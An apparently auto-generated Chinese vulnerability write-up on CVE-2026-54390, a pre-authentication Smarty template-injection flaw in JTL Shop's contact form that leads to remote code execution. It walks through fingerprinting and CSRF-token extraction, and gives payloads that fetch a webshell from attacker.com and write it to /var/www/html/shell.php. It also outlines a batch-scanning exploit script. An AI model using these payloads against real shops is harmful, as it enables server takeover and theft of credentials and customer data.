CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行
md-bot
md-bot
Sec打更人
2026年7月10日 19:51
广东
在小说阅读器读本章
去阅读
CVE-2026-54390 漏洞分析报告
CVE编号:CVE-2026-54390
标题:CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行
创建时间:2026-07-10T18:56:55.741142+08:00
漏洞描述
该漏洞是一个位于JTL Shop 5.2.0至5.7.1版本的服务器端模板注入(SSTI)漏洞。漏洞的成因是JTL Shop在处理联系表单的“邮件主题”字段时,未对用户输入进行充分的安全过滤。具体流程如下: 1.输入点:攻击者在联系表单的任意文本字段(如姓名、消息内容)中注入恶意的Smarty模板语法,例如 {$smarty.server.HTTP\_HOST} 或 {{7\*7}}。输入的payload会被传递给 SmartyRenderer::renderTemplate() 方法。 2.安全缺陷:虽然系统使用了 filterXSS() 函数来过滤XSS攻击(主要是HTML标签),但这个函数并未对Smarty模板标记 {...} 或 {{...}} 进行任何过滤。因此,恶意模板语法被保留。 3.注入点:这些含有恶意模板语法的用户输入,通过 parseSubject() 方法被替换到邮件主题中。之后,主题内容被传递给Smarty模板引擎的 fetch('string:' . $subject) 函数进行渲染。 4.触发执行:Smarty引擎将 $subject 解析为模板并执行其中的所有模板代码,包括攻击者注入的代码。影响:此漏洞在5.2.0至5.3.x版本中,攻击者可以利用Smarty的内置功能读取服务器上的敏感文件。在5.4.0至5.7.1版本中,情况更为严重。相关版本注册了危险的Smarty修饰符(modifier),如 unserialize 和 file\_get\_contents。攻击者可以利用 file\_get\_contents 从远程服务器下载文件内容,并结合 file\_put\_contents(通过PHP代码执行)或直接使用Smarty的写文件功能(如果存在),将恶意内容(例如Webshell)写入到Web目录,从而获得远程代码执行(RCE)能力。
CVE-2026-54390-JTL-Shop-Smarty-SSTI-远程代码执行
漏洞类型:服务器端模板注入 (SSTI) 结合不安全修饰符 (Unsafe Smarty Modifiers)影响应用:JTL Shop危害等级:严重(CVSS 9.8),未经身份验证的攻击者可实现远程代码执行,完全控制服务器,窃取敏感信息(如数据库凭据、加密密钥),并植入后门。影响版本:5.2.0 <= 受影响版本 <= 5.7.1 (5.5.4, 5.6.2, 5.7.2 已修复)利用条件:目标运行JTL Shop 5.2.0至5.7.1版本,且启用了联系表单功能(默认开启)。攻击无需用户交互,无需特定权限。POC 可用性:是投毒风险:10%项目地址:shinthink/CVE-2026-54390漏洞详情:NVD数据库
详情
该漏洞是一个位于JTL Shop 5.2.0至5.7.1版本的服务器端模板注入(SSTI)漏洞。漏洞的成因是JTL Shop在处理联系表单的“邮件主题”字段时,未对用户输入进行充分的安全过滤。具体流程如下:
漏洞利用
攻击流程和漏洞利用方式如下:
- \\漏洞利用方式\\:
- \\版本检测\\:攻击者首先访问目标网站的根路径(/),检查页面HTML、JavaScript或CSS中是否包含“JTL”等厂商特征。同时可以尝试访问 /jtl.php 或 /includes/jtl\\_object.php 等JTL特定的路径来确认应用类型。
- \\版本信息收集\\:通过分析页面源代码中的元标签(如 <meta name=\"generator\"...>)或特定JS变量,提取JTL Shop的精确版本号,以确认是否在受影响范围内。
- \\表单发现\\:扫描 /Kontakt、/contact 等常见联系表单路径,确认表单存在,并提取表单提交的 action URL和CSRF token(如 jtl\\_token)。
- \\Payload利用\\:
- \\漏洞探测(盲测)\\:使用 {7\\*7} 作为payload。如果服务器配置了日志或邮件监控,响应内容(如邮件主题)中会显示计算结果“49”。
- \\远程代码执行(高危利用)\\:针对5.4.0至5.7.1版本,使用 {{file\\_get\\_contents('http://attacker.com/shell.txt')|cat:''}} 等payload,通过 file\\_get\\_contents 修饰符从攻击者控制的服务器读取Webshell代码。如果Smarty环境支持,可以进一步利用 {{file\\_put\\_contents('/var/www/html/shell.php', file\\_get\\_contents('http://attacker.com/shell.txt'))}} 等方式写入恶意文件。
- \\攻击流程\\:
- 攻击者使用提供的POC脚本,输入目标URL列表进行批量扫描。
- 脚本自动检测JTL Shop及其版本。
- 脚本自动寻找联系表单并提取必要参数(表单action、CSRF Token)。
- 脚本向联系表单提交一个请求,将恶意payload填入某个字段(如姓名、消息等)。
- 服务器处理请求时,Smarty引擎解析了被注入的payload,执行了读取远程内容或写入文件的代码。
- 攻击者访问写入的Webshell(或通过其他方式),实现对服务器的完全控制。
- \\POC说明\\:提供的Python脚本(
cve\\_2026\\_54390.py)是一个完整的自动化扫描与利用工具。
- \\功能模块\\:
- detect(): 通过多种方法识别目标是否为JTL Shop并提取版本。
- find\\_contact\\_form(): 自动定位联系表单,提取action URL和CSRF Token。
- exploit(): 提交包含恶意Smarty模板语法的表单,触发SSTI。
- \\工作模式\\:支持单目标检测和基于线程池的批量扫描。
- \\Payload\\:脚本内置了用于检测的 {7\\*7} payload,以及用于文件读取和回连的 payload。攻击者可以轻松替换或添加用于执行RCE的payload。
- \\使用方式\\:可以通过命令行参数(如 --target 或 --file 指定目标文件)运行。
- \\输出\\:清晰显示每个目标的检测状态(vulnerable, patched, no\\_form 等)。
修复建议
暂无详细修复建议,请及时关注官方补丁和安全公告。
相关仓库
1. shinthink/CVE-2026-54390
URL:https://github.com/shinthink/CVE-2026-54390
描述:CVE-2026-54390 — JTL Shop Smarty SSTI RCE | Pre-Auth Template Injection via fetch('string:' . ) | 5.2.0-5.7.1
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论